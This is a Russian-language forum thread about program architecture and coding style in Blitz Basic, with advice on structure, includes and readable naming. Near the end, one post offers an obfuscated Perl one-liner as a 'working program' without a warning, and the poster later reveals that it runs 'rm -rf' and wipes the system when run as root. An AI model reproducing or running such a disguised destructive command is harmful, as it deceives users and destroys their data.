![]() |
Вопросы о архитектуре языка
Здраствуйте форумчане! Я один из многих начинающих - любителей Блитца. И вот в процессе самообучения, у меня возник один вопрос - Существует ли литература, статьи о общей архитектуре построения программ на Блиц Бейсик? Дело в том, что наличие множества уроков для начинающих, исходников и т. д., это конечно замечательно. И для написания несложных программ вполне достаточно. Но ведь большие и сложные программы "крутых игр" даже на простом Блиц Бейсике будут иметь большой размер и соответственно достаточно сложную архитектуру. А именно по общей архитектуре построения программ на Блиц Бейсик, я пока ничего не встречал. Для опытных програмистов, возможно это и лишнее, но для начинающих - это так же нужно, как и написание палочек и кружочков в первом классе школы. Ведь без знания общих принципов, простое заучивание команд - безперспективно в принципе.
Прошу всех, неравнодушных и заинтерисованых, откликнуться. |
Re: Вопросы о архитектуре языка
"крутых игр" на б3д и не жди - язык не такого плана.
А вообще архитекутра - это стиль - смотри на примеры, вырабатывай свой и http://blitzetc.boolean.name/ тебе в помощь |
Re: Вопросы о архитектуре языка
Да нет, я не о стиле написания программ. и не о "крутых играх" спрашиваю. Попробую объяснить по другому: С одной стороны, одну и ту же программу, можно писать, используя несколько вариантов расположения кода - это да, использование разных стилей. С другой стороны, это самое расположение подчиняется конкретным законам построения программы, ведь инициализацию графики или циклы не поставишь в любом месте. Вот эти законы меня и интересуют. Не может быть, чтобы Марк Сибли не имел общей концепции построения программ.
А то у нас выходит, что все нужно постигать на чужих примерах "методом научного тыка". |
Re: Вопросы о архитектуре языка
Правильно, необходимо изучить общие принципы. Для этого подойдет книжка по программированию на С, С++, Pascal, может, еще что-то. Конкретно об играх убеника нет, но есть хорошие книжки по технической реализации на том или ином движке или графическом АПИ. Есть книжки и по структуре игрового движка, в инете даже найти можно.
Чтобы научиться правильно проектировать архитектуру будущей игры, надо иметь опыт. Начинай с простого, изучай исходники игр, движков с открытым исходным кодом. Само собой ничего не получится, нужно постепенно идти вперед. Правка. Ни о каком научном тыке речи быть не может. Нужно набираться опыта. Законы построения программы нужно собирать по капле из различных учебников по программированию, чужого кода, додумываться самому. Нет единого закона, так как программы, игры в частности, бывают очень разные. Прежде всего оптимальность той или иной архитектуры зависит от поставленной цели. |
Re: Вопросы о архитектуре языка
Это означает, что специальной "общеконцептуальной" литературы чисто по Блиц Бейсику нет? В отличии от С, Паскаля и т.д.? Это очень печально. Похоже на ситуацию с мобильными телефонами - самый распостраненный электронный прибор, а ни специалистов по мобилкам нигде ни готовят, ни документов по тех. обслуживанию не существует.
Может кто встречал что-то на неруских сайтах? Думаю, этот пробел нужно устранять. Может кто займется? Из настоящих спецов по Блиц Бейсику. |
Re: Вопросы о архитектуре языка
Игры не только на Блиц Бейсике пишут)
|
Re: Вопросы о архитектуре языка
А на Блиц Бейсике пишу не только игры
|
Re: Вопросы о архитектуре языка
Я пытаюсь сказать, что никто не учит писать игры на Блиц Бейсике, так же, как никто не учит писать их на Borland C++ Builder version 1.0 build 7647834.
Если хочешь понять архитектуру, ищи книжки по архитектуре движка, игровым и графическим движкам. Конкретно по блицу есть статьи и туториалы, остальное не привязано к платформе. |
Re: Вопросы о архитектуре языка
играм в принципе нигде толком не учат .... если программированию уже чучуть учат... то разработке игр - нет
но в любом случае самообучение всегда было первым :) totm то что ты спрашиваеш называется "алгоритмами" и к блицу критического отношения не имеет я тут еще подумал в теории ... вот у нас есть задача A и множество способов ее решить B нужно выбрать такой способ чтобы он позволял решить еще и не определенное множество задач C вот ето и есть программирование :) ps. так что давай по тихоньку по тихоньку после 3-4 проектов поймеш что к чему |
Re: Вопросы о архитектуре языка
Лично я склоняюсь к такой:
1) Инициализация 2) Главный Цикл 3) Функции |
Re: Вопросы о архитектуре языка
1) Инициализация
2) Главный Цикл 3) Функции Так построены простые программы, это понятно. А если нужно сделать что то более сложное? Например, 2D UI, несколко уровней в 3D, плюс внешние библиотеки и т.д. Как организовать структуру программы так, чтобы получить максимум быстродействия при минимуме затрат? Ведь сделать это можно, как я понимаю разными способами. А какой оптимальный? Не может быть, чтобы не было статей на эту тему. |
Re: Вопросы о архитектуре языка
Цитата:
|
Re: Вопросы о архитектуре языка
1. преконфиг (загрузка настроек, инициалиация констант)
2. инициализация основных рессурсов 3. меню 4. загрузка ресурсов для уровня 5. оснеовной цикл 6. выгрузка ресурсов уровня, переход к меню + всякая всячина в заинклюденных bb файлах. + выносить константы (если их будет много) и массивы, значения в которых будеш прописывать сам(а) в отдельный файл и инлюдить его. (ибо будут мешаццца) |
Re: Вопросы о архитектуре языка
Только опыт тебе скажет каким будет у тебя архетектура,
И скаждым разом она будет лутше старой, и более гибкой! |
Re: Вопросы о архитектуре языка
Именно опыт, т.к. тут для каждого жанра игры, и типа программы огромные отличия этой вот структуры кода. Можно придерживаться чужих советов, а так-же способом тестирования разных алгоритмов реализации той или иной задачи, таким способом и будет получаться опыт в построении архитектуры кода.
Я например для оптимальной работы кода разделяю рендеринг (3д и 2д отрисовка), и остальное, что должно быть привязано к UPS (Update Per Second, обычно 60), таким образом техническая производительность всегда под контролем. Например чтобы использовать много уровней, тут нужно использовать массивы и "классы"(Type в блице, но на самом деле от классов С++ это Огромнейшая разница), в них мохно хранить все объекты и информацию о уровнях, а при загрузки нового уровня, отчищять эти массивы и "классы", и грузить новый уровень из внешних файлов хранения данных. Вообще Только опыт и устремлённость - это успех. |
Re: Вопросы о архитектуре языка
Функции отдельно. потом это все вставляем сверу кода (include)
Инициализация Усе остальное |
Re: Вопросы о архитектуре языка
type в блице ето скорее структура, нежели класс (покарйней мере ему низя методы проиписать :( )
|
Re: Вопросы о архитектуре языка
Вот о чем приблизительно речь: http://www.dtf.ru/articles/read.php?id=40757
|
Re: Вопросы о архитектуре языка
totm
ну да, есть такое такая глобальная архитектура делается чтобы показать как взаимодействуют модули игры друг с другом :) а вот практическая ее реализация ето другое дело к примеру на блице нету классов ... |
Re: Вопросы о архитектуре языка
На блице об этом не нужно заботиться, тоесть эти связи уже заранее сделаны Марком, структура кода на блице минимально проста, по сравнению с тем что на С++ или подобных ему языках, где это всё кодить нужно самому, и продумывать, от сюда и архитектура.
|
Re: Вопросы о архитектуре языка
totm, я вот одного понять не могу: Зачем голову таким забивать? У тебя что, проги не пашут? или что? Лучше б сел и прогил, сам потом и не заметишь, как собственный стиль приобретешь.
|
Re: Вопросы о архитектуре языка
2 JohnK: Несмотря на очевидную пользу практики, это всё же был вредный и несвоевременный совет. Потом с этим "собственным стилем", выработанным безудержным неподкрепленным знаниями стремлением к "пашущим прогам" можно будет убиться об стену, или тратить годы на его исправление. На работу самоучек часто и не принимают вовсе не потому, что у них нет корки из ВУЗа, а потому, что их уродливый нечитаемый стиль программирования исключает эффективную работу в команде.
Нужно приобрести не "собственный", а правильный стиль программирования. Учебники разного рода, и/или хороший наставник незаменимы. Так что варианты "прога пашет, и к чертям всё остальное" и "а я так вижу" тут не прокатывают. "Прежде чем дискутировать о вторичных понятиях программы и программирования, необходимо проанализировать фундаментальное понятие алгоритма." (с) Петя Бейсиков. "Учиться, учиться и еще раз учиться!" (с) В.Ульянов. "Можно уметь писать код, а можно уметь его читать. Если ты умеешь писать- ты можешь написать программу, которая понравится твоей маме. Но если ты не умеешь читать чужой код- ты не достигнешь высот..." (с) не я |
Re: Вопросы о архитектуре языка
Узнаю Дипломата! =))) он как всегда, обьяснил дипломатичным языком.....и фиг придерешся! =)))
|
Re: Вопросы о архитектуре языка
Нет, а зачем принимать чьи-то правила? Это как в жизни - Жить по чужим правилам. По моему это глупо - крутить в голове все правила - вот тут нужен пробел, так тут я не правильно сделал - зачем? нужно писать так как тебе удобно, имхо.
|
Re: Вопросы о архитектуре языка
JohnK
скажем другими словами к примеру программирование назовем задачей из стереометрии стериометрия ето одна из немногих дисциплин где есть куча строгих правил как надо писать так вот задачу вы можете решать как угодно но чтобы она была понятна другому человеку без дополнительных ваших обьяснений ... то надо ее записать по крайней мере красиво и внятно :) для себя и говнокод можно писать ... но меня от него уже тошнит, потому даже если первый раз выходит говнокод, то я переписываю его .. :) а то когда смотрю на говнокод... то примерно такой вид делается у меня ![]() |
Re: Вопросы о архитектуре языка
Правила формируются на базе многолетнего опыта. Если бы Бах или Моцарт записывали музыку, как им вздумается, хрен бы кто сейчас их играл.
|
Re: Вопросы о архитектуре языка
Цитата:
Ржу-немогу... |
Re: Вопросы о архитектуре языка
vlad
посмотри исходники пару десятков комерческих игр :) в 60-70% случаем в игре говнокод зделаный лиж бы пахало |
Re: Вопросы о архитектуре языка
если бы программеры побольше задумывались об эффективности кода и поменьше о том как и куда поставить {} то, возможно мир был бы другим © Alger (ну или что то вроде етого)
в любом случае 20-ти минутного слета команды перед началом разработки проекта было бы достаточно чтобы определиться со стилем. |
Re: Вопросы о архитектуре языка
Поправка:
"20 минут" (ессно с фиксацией правил на мат.носителях)- это если члены команды уже сработаны и знают, что такое "стиль". А если они встретились впервые в жизни и все как один живут под лозунгом "лишь бы пахало!"- то хоть 20, хоть 200, хоть целый литр- а толку будет чуть. "Шановнi громадяни! Вы как не садитесь, А в программёры- Нафиг не годитесь!.."(с) начальство ... С другой стороны, наша специфика накладывает свой отпечаток. В подавляющем большинстве случаев, количество программистов, привлеченных к разработке шаровары не превышает 1шт, так что о стиле можно задумываться меньше. Впрочем, и тут нужно помнить о том, что "говнокод"(с)- это вырванные годы. Работает он часто хуже, отладка его затруднена, да и переделать его через полгодика, когда из памяти сотрутся идеи и замыслы, подвигшие разработчика на создание такого монстра- будет совершенно невозможно. Ибо невозможно будет понять, а что же конкретно делает эта бесформенная груда символов. Dixi. :) |
Re: Вопросы о архитектуре языка
Ну хз... Я больше согласен с JohnK... Вот мне например нравится писать не Eto_peremennaya_s_dlinnim_nazvaniem, а EtoPeremennayaSDlinnimNazvaniem... может кому-то так и труднее читать, но лично меня подчеркивания напрягают... А если мне мой же код не приятен и мне не приятно и не удобно его читать, то программирование уже не есть удовольствием, а наоборот :)
|
Кстати, Raiter, очень верно заметил:
Цитата:
И еще: Я считаю, что следование определенным правилам, тем что описывал Дипломат, есть не что иное, как лишняя показуха. А насчет работы, я скажу следующее: думаю, работодателю не важно, как ты пишешь, я считаю, ему важен результат. Так что следование правилам - что-то наподобие пустой траты времени, в ущерб себе. |
Re: Вопросы о архитектуре языка
Ну тут есть и 1 маленькое НО... Работодателю не важно как ты пишешь, если в команде программист - ты один... А вот если программистов несколько, то разбор твоего кода будет тормозить весь процес + будет злить других кодеров = не слаженность команды :)
Потому лучьше работать одному :-) |
Re: Вопросы о архитектуре языка
Цитата:
Неправильными именами этой переменной были бы следующие: EPSDN, PeDliNa, j234, z - и пр., не дающие представления о назначении переменной или искажающие это представление*1. Похоже, тебе просто пока не попался в руки хороший учебник,.. или наоборот- попался слишком схоластичный учитель. Цитата:
Впрочем: "У кожного своя доля, i свiй шлях широкий..."(с) Т.Шевченко, потому, "Если взрослый и психически нормальный человек осмысленно и целеустремленно бьётся головой о бетонну стену- это его неотьемлемое право..." (с) Ваш покорный же больше не намерен возвращаться к этой теме, у него есть более важные и социально полезные дела. P.S. RTFM! ;) ___________________________ *1. В некоторых средах разработки длинна имен переменных ограничена, и даже приблизительно описать назначение переменной невозможно. В таком случае, в видном месте программы следует написать таблицу, указав в ней имена и назначение всех переменных, а в коде- более подробно описывать комментариями каждую более-менее сложную операцию с переменными. |
Re: Вопросы о архитектуре языка
Raiter,JohnK
ну вот вам волне рабочая прога на perl : Код:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' ps. прога боянная ... но все же хороший пример на блице не надо задумыватся о архитектуре кода да и стилистика более мение все равно блицом ограничивается а вот на других языках полет фантазии может доходит до чего угодно (сам писал php прогу в html кодах ... ) так что правильный стиль программирования ето тоже самое что и художественная стилистика ... книгу и вообще произведение можно написать как угодно, но тогда не все ее поймут :) "а себе понятно" тут не катит ... даже если ето читать будеш только ты архитектура к стилистике имеет практически нулевое отношение так что кончаем оффтопить |
Re: Вопросы о архитектуре языка
[IMVHO]
ето: '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' текстовая строка полюбэ. -e наверно какое нить echo cat "test... test... test..." - хз конечно, но мну кажется что ето просто выводит етот текст (' cat "test... test... test..." ') вывод програма выводит строку. [/IMVHO] |
Re: Вопросы о архитектуре языка
HolyDel
прога банально выполняет rm -rf что приводит к смерти *nix системы если юзер сидел по rootом |
Часовой пояс GMT +4, время: 17:47. |
vBulletin® Version 3.6.5.
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Перевод: zCarot